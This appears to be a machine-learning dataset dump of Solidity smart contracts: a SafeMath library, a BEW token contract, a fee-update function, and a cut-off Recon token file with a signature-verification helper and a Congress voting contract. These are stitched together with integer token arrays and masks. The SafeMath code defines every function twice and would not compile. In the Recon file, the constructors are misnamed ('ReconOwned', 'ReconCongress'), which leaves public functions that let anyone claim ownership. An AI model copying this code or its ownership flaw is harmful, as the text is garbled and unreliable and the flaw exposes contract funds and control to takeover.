library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }
2,724,756
[ 1, 24114, 1879, 348, 7953, 560, 1807, 30828, 5295, 18, 5219, 30, 1375, 9890, 10477, 68, 353, 19190, 486, 3577, 5023, 598, 348, 7953, 560, 374, 18, 28, 16, 3241, 326, 5274, 2037, 711, 6650, 316, 9391, 6728, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 14060, 10477, 288, 203, 203, 203, 203, 565, 445, 775, 986, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 6430, 16, 2254, 5034, 13, 288, 203, 565, 22893, 288, 203, 3639, 2254, 5034, 276, 273, 279, 397, 324, 31, 203, 3639, 309, 261, 71, 411, 279, 13, 327, 261, 5743, 16, 374, 1769, 203, 3639, 327, 261, 3767, 16, 276, 1769, 203, 565, 289, 203, 565, 289, 203, 203, 565, 445, 775, 986, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 6430, 16, 2254, 5034, 13, 288, 203, 565, 22893, 288, 203, 3639, 2254, 5034, 276, 273, 279, 397, 324, 31, 203, 3639, 309, 261, 71, 411, 279, 13, 327, 261, 5743, 16, 374, 1769, 203, 3639, 327, 261, 3767, 16, 276, 1769, 203, 565, 289, 203, 565, 289, 203, 203, 565, 445, 775, 1676, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 6430, 16, 2254, 5034, 13, 288, 203, 565, 22893, 288, 203, 3639, 309, 261, 70, 405, 279, 13, 327, 261, 5743, 16, 374, 1769, 203, 3639, 327, 261, 3767, 16, 279, 300, 324, 1769, 203, 565, 289, 203, 565, 289, 203, 203, 565, 445, 775, 1676, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 6430, 16, 2254, 5034, 13, 288, 203, 565, 22893, 288, 203, 3639, 309, 261, 70, 405, 279, 13, 327, 261, 5743, 16, 374, 1769, 203, 3639, 327, 261, 3767, 16, 279, 300, 324, 1769, 203, 565, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.6; import "./ERC20Extended.sol"; import "../control/Pausable.sol"; import "../control/AccessControl.sol"; /* * Be Whale Token [BEW] * Author: Oddysey Games: https://oddysey.games * Game: Be Whale [https://bew.dev] */ contract BEWToken is ERC20Extended, Pausable, AccessControl { bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE"); uint256 private dFactor = 10 ** uint256(18); constructor() ERC20("Be Whale Token", "BEW", 18) { // Binance Smart Chain network _setupSupply(30000000 * dFactor); // id:0; Founders [via Vesting] _setupSupply(15000000 * dFactor); // id:1; Advisors _setupSupply(90000000 * dFactor); // id:2; Public Sale via https://bew.dev _setupSupply(7500000 * dFactor); // id:3; Affiliate _setupSupply(7500000 * dFactor); // id:4; Airdrop _setupSupply(90000000 * dFactor); // id:5; Staking _setupSupply(60000000 * dFactor); // id:6; Whale Bridge // Init supply for Founders | 4.5 millions first allocation _mint(msg.sender, 4500000 * dFactor, 0); // Ethereum network //_setupSupply(50000000 * dFactor); // id:0; Rewards for completing game quests //_setupSupply(20000000 * dFactor); // id:1; DAO rewards //_setupSupply(40000000 * dFactor); // id:2; Staking //_setupSupply(30000000 * dFactor); // id:3; Marketing //_setupSupply(20000000 * dFactor); // id:4; Strategic reserve //_setupSupply(40000000 * dFactor); // id:5; Whale Bridge _setupRole(SUPER_ADMIN_ROLE, msg.sender); _setupRole(BURNER_ROLE, msg.sender); } function getAllocationRole(int8 allocationType) public pure returns (bytes32) { return keccak256(abi.encodePacked("ALLOCATION_ROLE_", allocationType)); } /** * @dev * onlyRole(keccak256(abi.encodePacked("ALLOCATION_ROLE_", allocationType))) * cheaper than onlyRole(getAllocationRole(allocationType)) */ function mint(address to, uint256 amount, int8 allocationType) public onlyRole(keccak256(abi.encodePacked("ALLOCATION_ROLE_", allocationType))) override returns (bool) { _mint(to, amount, allocationType); return true; } function burn(uint256 amount, int8 allocationType) public onlyRole(BURNER_ROLE) override returns (bool) { _burn(amount, allocationType); return true; } function pause() public onlyRole(SUPER_ADMIN_ROLE) { _pause(); } function unpause() public onlyRole(SUPER_ADMIN_ROLE) { _unpause(); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal whenNotPaused override { super._beforeTokenTransfer(from, to, amount); } }
id:0; Founders [via Vesting]
_setupSupply(30000000 * dFactor);
5,431,774
[ 1, 350, 30, 20, 31, 10750, 414, 306, 21985, 776, 10100, 65, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 389, 8401, 3088, 1283, 12, 23, 17877, 380, 302, 6837, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0x759bD20b2300C8bC0FaB47F1440971b63DA9338D/sources/contracts/BourbonNBlockchainFee.sol
* @dev Function allowing admin to set the monthly fee. @param amount the amount the fee should be set too./
function updateMontlyFee(uint256 amount) external onlyRole(UPDATE_ROLE) { uint256 oldFee = monthlyFee; monthlyFee = amount; emit MonthlyFeeUpdated(msg.sender, oldFee, amount); }
5,597,722
[ 1, 2083, 15632, 3981, 358, 444, 326, 31114, 14036, 18, 225, 3844, 326, 3844, 326, 14036, 1410, 506, 444, 4885, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1089, 49, 1580, 715, 14667, 12, 11890, 5034, 3844, 13, 3903, 1338, 2996, 12, 8217, 67, 16256, 13, 288, 203, 3639, 2254, 5034, 1592, 14667, 273, 31114, 14667, 31, 203, 3639, 31114, 14667, 273, 3844, 31, 203, 3639, 3626, 10337, 715, 14667, 7381, 12, 3576, 18, 15330, 16, 1592, 14667, 16, 3844, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^ 0.4.25; // ----------------------------------------------------------------------------------------------------------------- // // Recon® Token Teleportation Service v1.10 // // of BlockReconChain® // for ReconBank® // // ERC Token Standard #20 Interface // // ----------------------------------------------------------------------------------------------------------------- //. //" //. ::::::.. .,:::::: .,-::::: ... :::. ::: //. ;;;;``;;;; ;;;;'''' ,;;;'````' .;;;;;;;.`;;;;, `;;; //. [[[,/[[[' [[cccc [[[ ,[[ \[[,[[[[[. '[[ //. $$$$$$c $$"""" $$$ $$$, $$$$$$ "Y$c$$ //. 888b "88bo,888oo,__`88bo,__,o,"888,_ _,88P888 Y88 //. MMMM "W" """"YUMMM "YUMMMMMP" "YMMMMMP" MMM YM //. //. //" ----------------------------------------------------------------------------------------------------------------- // ¸.•*´¨) // ¸.•´ ¸.•´¸.•*´¨) ¸.•*¨) // ¸.•*´ (¸.•´ (¸.•` ¤ ReconBank.eth / ReconBank.com*´¨) // ¸.•´¸.•*´¨) // (¸.•´ ¸.•` // ¸.•´•.¸ // (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018. // ----------------------------------------------------------------------------------------------------------------- // // Common ownership of : // ____ _ _ _____ _____ _ _ // | _ \| | | | | __ \ / ____| | (_) // | |_) | | ___ ___| | _| |__) |___ ___ ___ _ __ | | | |__ __ _ _ _ __ // | _ <| |/ _ \ / __| |/ / _ // _ \/ __/ _ \| '_ \| | | '_ \ / _` | | '_ \ // | |_) | | (_) | (__| <| | \ \ __/ (_| (_) | | | | |____| | | | (_| | | | | | // |____/|_|\___/ \___|_|\_\_| \_\___|\___\___/|_| |_|\_____|_| |_|\__,_|_|_| |_|® //' // ----------------------------------------------------------------------------------------------------------------- // // This contract is an order from : //' // ██████╗ ███████╗ ██████╗ ██████╗ ███╗ ██╗██████╗ █████╗ ███╗ ██╗██╗ ██╗ ██████╗ ██████╗ ███╗ ███╗® // ██╔══██╗██╔════╝██╔════╝██╔═══██╗████╗ ██║██╔══██╗██╔══██╗████╗ ██║██║ ██╔╝ ██╔════╝██╔═══██╗████╗ ████║ // ██████╔╝█████╗ ██║ ██║ ██║██╔██╗ ██║██████╔╝███████║██╔██╗ ██║█████╔╝ ██║ ██║ ██║██╔████╔██║ // ██╔══██╗██╔══╝ ██║ ██║ ██║██║╚██╗██║██╔══██╗██╔══██║██║╚██╗██║██╔═██╗ ██║ ██║ ██║██║╚██╔╝██║ // ██║ ██║███████╗╚██████╗╚██████╔╝██║ ╚████║██████╔╝██║ ██║██║ ╚████║██║ ██╗██╗╚██████╗╚██████╔╝██║ ╚═╝ ██║ // ╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝' // // ----------------------------------------------------------------------------------------------------------------- // // // Copyright MIT : // GNU Lesser General Public License 3.0 // https://www.gnu.org/licenses/lgpl-3.0.en.html // // Permission is hereby granted, free of charge, to // any person obtaining a copy of this software and // associated documentation files ReconCoin® Token // Teleportation Service, to deal in the Software without // restriction, including without limitation the rights to // use, copy, modify, merge, publish, distribute, // sublicense, and/or sell copies of the Software, and // to permit persons to whom the Software is furnished // to do so, subject to the following conditions: // The above copyright notice and this permission // notice shall be included in all copies or substantial // portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT // WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, // INCLUDING BUT NOT LIMITED TO THE // WARRANTIES OF MERCHANTABILITY, FITNESS FOR // A PARTICULAR PURPOSE AND NONINFRINGEMENT. // IN NO EVENT SHALL THE AUTHORS OR // COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, // DAMAGES OR OTHER LIABILITY, WHETHER IN AN // ACTION OF CONTRACT, TORT OR // OTHERWISE, ARISING FROM, OUT OF OR IN // CONNECTION WITH THE SOFTWARE OR THE USE // OR OTHER DEALINGS IN THE SOFTWARE. // // // ----------------------------------------------------------------------------------------------------------------- pragma solidity ^ 0.4.25; // ----------------------------------------------------------------------------------------------------------------- // The new assembly support in Solidity makes writing helpers easy. // Many have complained how complex it is to use `ecrecover`, especially in conjunction // with the `eth_sign` RPC call. Here is a helper, which makes that a matter of a single call. // // Sample input parameters: // (with v=0) // "0x47173285a8d7341e5e972fc677286384f802f8ef42a5ec5f03bbfa254cb01fad", // "0xaca7da997ad177f040240cdccf6905b71ab16b74434388c3a72f34fd25d6439346b2bac274ff29b48b3ea6e2d04c1336eaceafda3c53ab483fc3ff12fac3ebf200", // "0x0e5cb767cce09a7f3ca594df118aa519be5e2b5a" // // (with v=1) // "0x47173285a8d7341e5e972fc677286384f802f8ef42a5ec5f03bbfa254cb01fad", // "0xdebaaa0cddb321b2dcaaf846d39605de7b97e77ba6106587855b9106cb10421561a22d94fa8b8a687ff9c911c844d1c016d1a685a9166858f9c7c1bc85128aca01", // "0x8743523d96a1b2cbe0c6909653a56da18ed484af" // // (The hash is a hash of "hello world".) // // Written by Alex Beregszaszi (@axic), use it under the terms of the MIT license. // ----------------------------------------------------------------------------------------------------------------- library ReconVerify { // Duplicate Soliditys ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but dont update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly cant access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } function ecrecovery(bytes32 hash, bytes sig) public returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } function verify(bytes32 hash, bytes sig, address signer) public returns (bool) { bool ret; address addr; (ret, addr) = ecrecovery(hash, sig); return ret == true && addr == signer; } function recover(bytes32 hash, bytes sig) internal returns (address addr) { bool ret; (ret, addr) = ecrecovery(hash, sig); } } contract ReconVerifyTest { function test_v0() public returns (bool) { bytes32 hash = 0x47173285a8d7341e5e972fc677286384f802f8ef42a5ec5f03bbfa254cb01fad; bytes memory sig = "\xac\xa7\xda\x99\x7a\xd1\x77\xf0\x40\x24\x0c\xdc\xcf\x69\x05\xb7\x1a\xb1\x6b\x74\x43\x43\x88\xc3\xa7\x2f\x34\xfd\x25\xd6\x43\x93\x46\xb2\xba\xc2\x74\xff\x29\xb4\x8b\x3e\xa6\xe2\xd0\x4c\x13\x36\xea\xce\xaf\xda\x3c\x53\xab\x48\x3f\xc3\xff\x12\xfa\xc3\xeb\xf2\x00"; return ReconVerify.verify(hash, sig, 0x0A5f85C3d41892C934ae82BDbF17027A20717088); } function test_v1() public returns (bool) { bytes32 hash = 0x47173285a8d7341e5e972fc677286384f802f8ef42a5ec5f03bbfa254cb01fad; bytes memory sig = "\xde\xba\xaa\x0c\xdd\xb3\x21\xb2\xdc\xaa\xf8\x46\xd3\x96\x05\xde\x7b\x97\xe7\x7b\xa6\x10\x65\x87\x85\x5b\x91\x06\xcb\x10\x42\x15\x61\xa2\x2d\x94\xfa\x8b\x8a\x68\x7f\xf9\xc9\x11\xc8\x44\xd1\xc0\x16\xd1\xa6\x85\xa9\x16\x68\x58\xf9\xc7\xc1\xbc\x85\x12\x8a\xca\x01"; return ReconVerify.verify(hash, sig, 0x0f65e64662281D6D42eE6dEcb87CDB98fEAf6060); } } // ----------------------------------------------------------------------------------------------------------------- // // (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018. // // ----------------------------------------------------------------------------------------------------------------- pragma solidity ^ 0.4.25; contract owned { address public owner; function ReconOwned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } contract tokenRecipient { event receivedEther(address sender, uint amount); event receivedTokens(address _from, uint256 _value, address _token, bytes _extraData); function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public { Token t = Token(_token); require(t.transferFrom(_from, this, _value)); emit receivedTokens(_from, _value, _token, _extraData); } function () payable public { emit receivedEther(msg.sender, msg.value); } } interface Token { function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); } contract Congress is owned, tokenRecipient { // Contract Variables and events uint public minimumQuorum; uint public debatingPeriodInMinutes; int public majorityMargin; Proposal[] public proposals; uint public numProposals; mapping (address => uint) public memberId; Member[] public members; event ProposalAdded(uint proposalID, address recipient, uint amount, string description); event Voted(uint proposalID, bool position, address voter, string justification); event ProposalTallied(uint proposalID, int result, uint quorum, bool active); event MembershipChanged(address member, bool isMember); event ChangeOfRules(uint newMinimumQuorum, uint newDebatingPeriodInMinutes, int newMajorityMargin); struct Proposal { address recipient; uint amount; string description; uint minExecutionDate; bool executed; bool proposalPassed; uint numberOfVotes; int currentResult; bytes32 proposalHash; Vote[] votes; mapping (address => bool) voted; } struct Member { address member; string name; uint memberSince; } struct Vote { bool inSupport; address voter; string justification; } // Modifier that allows only shareholders to vote and create new proposals modifier onlyMembers { require(memberId[msg.sender] != 0); _; } /** * Constructor function */ function ReconCongress ( uint minimumQuorumForProposals, uint minutesForDebate, int marginOfVotesForMajority ) payable public { changeVotingRules(minimumQuorumForProposals, minutesForDebate, marginOfVotesForMajority); // It’s necessary to add an empty first member addMember(0, ""); // and lets add the founder, to save a step later addMember(owner, 'founder'); } /** * Add member * * Make `targetMember` a member named `memberName` * * @param targetMember ethereum address to be added * @param memberName public name for that member */ function addMember(address targetMember, string memberName) onlyOwner public { uint id = memberId[targetMember]; if (id == 0) { memberId[targetMember] = members.length; id = members.length++; } members[id] = Member({member: targetMember, memberSince: now, name: memberName}); emit MembershipChanged(targetMember, true); } /** * Remove member * * @notice Remove membership from `targetMember` * * @param targetMember ethereum address to be removed */ function removeMember(address targetMember) onlyOwner public { require(memberId[targetMember] != 0); for (uint i = memberId[targetMember]; i<members.length-1; i++){ members[i] = members[i+1]; } delete members[members.length-1]; members.length--; } /** * Change voting rules * * Make so that proposals need to be discussed for at least `minutesForDebate/60` hours, * have at least `minimumQuorumForProposals` votes, and have 50% + `marginOfVotesForMajority` votes to be executed * * @param minimumQuorumForProposals how many members must vote on a proposal for it to be executed * @param minutesForDebate the minimum amount of delay between when a proposal is made and when it can be executed * @param marginOfVotesForMajority the proposal needs to have 50% plus this number */ function changeVotingRules( uint minimumQuorumForProposals, uint minutesForDebate, int marginOfVotesForMajority ) onlyOwner public { minimumQuorum = minimumQuorumForProposals; debatingPeriodInMinutes = minutesForDebate; majorityMargin = marginOfVotesForMajority; emit ChangeOfRules(minimumQuorum, debatingPeriodInMinutes, majorityMargin); } /** * Add Proposal * * Propose to send `weiAmount / 1e18` ether to `beneficiary` for `jobDescription`. `transactionBytecode ? Contains : Does not contain` code. * * @param beneficiary who to send the ether to * @param weiAmount amount of ether to send, in wei * @param jobDescription Description of job * @param transactionBytecode bytecode of transaction */ function newProposal( address beneficiary, uint weiAmount, string jobDescription, bytes transactionBytecode ) onlyMembers public returns (uint proposalID) { proposalID = proposals.length++; Proposal storage p = proposals[proposalID]; p.recipient = beneficiary; p.amount = weiAmount; p.description = jobDescription; p.proposalHash = keccak256(abi.encodePacked(beneficiary, weiAmount, transactionBytecode)); p.minExecutionDate = now + debatingPeriodInMinutes * 1 minutes; p.executed = false; p.proposalPassed = false; p.numberOfVotes = 0; emit ProposalAdded(proposalID, beneficiary, weiAmount, jobDescription); numProposals = proposalID+1; return proposalID; } /** * Add proposal in Ether * * Propose to send `etherAmount` ether to `beneficiary` for `jobDescription`. `transactionBytecode ? Contains : Does not contain` code. * This is a convenience function to use if the amount to be given is in round number of ether units. * * @param beneficiary who to send the ether to * @param etherAmount amount of ether to send * @param jobDescription Description of job * @param transactionBytecode bytecode of transaction */ function newProposalInEther( address beneficiary, uint etherAmount, string jobDescription, bytes transactionBytecode ) onlyMembers public returns (uint proposalID) { return newProposal(beneficiary, etherAmount * 1 ether, jobDescription, transactionBytecode); } /** * Check if a proposal code matches * * @param proposalNumber ID number of the proposal to query * @param beneficiary who to send the ether to * @param weiAmount amount of ether to send * @param transactionBytecode bytecode of transaction */ function checkProposalCode( uint proposalNumber, address beneficiary, uint weiAmount, bytes transactionBytecode ) constant public returns (bool codeChecksOut) { Proposal storage p = proposals[proposalNumber]; return p.proposalHash == keccak256(abi.encodePacked(beneficiary, weiAmount, transactionBytecode)); } /** * Log a vote for a proposal * * Vote `supportsProposal? in support of : against` proposal #`proposalNumber` * * @param proposalNumber number of proposal * @param supportsProposal either in favor or against it * @param justificationText optional justification text */ function vote( uint proposalNumber, bool supportsProposal, string justificationText ) onlyMembers public returns (uint voteID) { Proposal storage p = proposals[proposalNumber]; // Get the proposal require(!p.voted[msg.sender]); // If has already voted, cancel p.voted[msg.sender] = true; // Set this voter as having voted p.numberOfVotes++; // Increase the number of votes if (supportsProposal) { // If they support the proposal p.currentResult++; // Increase score } else { // If they dont p.currentResult--; // Decrease the score } // Create a log of this event emit Voted(proposalNumber, supportsProposal, msg.sender, justificationText); return p.numberOfVotes; } /** * Finish vote * * Count the votes proposal #`proposalNumber` and execute it if approved * * @param proposalNumber proposal number * @param transactionBytecode optional: if the transaction contained a bytecode, you need to send it */ function executeProposal(uint proposalNumber, bytes transactionBytecode) public { Proposal storage p = 